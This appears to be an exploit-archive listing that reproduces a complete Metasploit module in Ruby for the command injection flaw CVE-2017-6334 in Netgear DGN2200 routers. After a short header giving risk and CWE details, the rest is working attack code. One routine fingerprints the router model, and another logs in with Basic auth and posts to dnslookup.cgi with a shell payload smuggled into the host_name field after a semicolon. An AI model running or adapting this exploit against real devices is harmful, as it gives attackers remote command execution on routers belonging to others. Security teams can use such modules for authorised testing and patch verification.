Netgear DGN2200 dnslookup.cgi Command Injection

2017.06.25
Credit: SivertPL
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/http' require "base64" class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "Netgear DGN2200 dnslookup.cgi Command Injection", 'Description' => %q{ This module exploits a command injection vulnerablity in NETGEAR DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request with valid login details. }, 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Author' => [ 'thecarterb', # Metasploit Module 'SivertPL' # Vuln discovery ], 'DefaultTarget' => 0, 'Privileged' => true, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'NETGEAR DDGN2200 Router', { } ] ], 'References' => [ [ 'EDB', '41459'], [ 'CVE', '2017-6334'] ], 'DisclosureDate' => 'Feb 25 2017', )) register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username to authenticate with', '']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ]) register_advanced_options( [ OptString.new('HOSTNAME', [true, '"Hostname" to look up (doesn\'t really do anything important)', 'www.google.com']) ]) end # Requests the login page which tells us the hardware version def check res = send_request_cgi({'uri'=>'/'}) if res.nil? fail_with(Failure::Unreachable, 'Connection timed out.') end # Checks for the `WWW-Authenticate` header in the response if res.headers["WWW-Authenticate"] data = res.to_s marker_one = "Basic realm=\"NETGEAR " marker_two = "\"" model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] vprint_status("Router is a NETGEAR router (#{model})") model_numbers = ['DGN2200v1', 'DGN2200v2', 'DGN2200v3', 'DGN2200v4'] if model_numbers.include?(model) print_good("Router may be vulnerable (NETGEAR #{model})") return CheckCode::Detected else return CheckCode::Safe end else print_error('Router is not a NETGEAR router') return CheckCode::Safe end end def exploit check # Convert datastores user = datastore['USERNAME'] pass = datastore['PASSWORD'] hostname = datastore['HOSTNAME'] vprint_status("Using encoder: #{payload.encoder} ") print_status('Sending payload...') vprint_status("Attempting to authenticate with: #{user}:#{pass} (b64 encoded for auth)") creds_combined = Base64.strict_encode64("#{user}:#{pass}") vprint_status("Encoded authentication: #{creds_combined}") res = send_request_cgi({ 'uri' => '/dnslookup.cgi', 'headers' => { 'Authorization' => "Basic #{creds_combined}" }, 'vars_post' => { 'lookup' => 'Lookup', 'host_name' => hostname + '; ' + payload.encoded }}) end end


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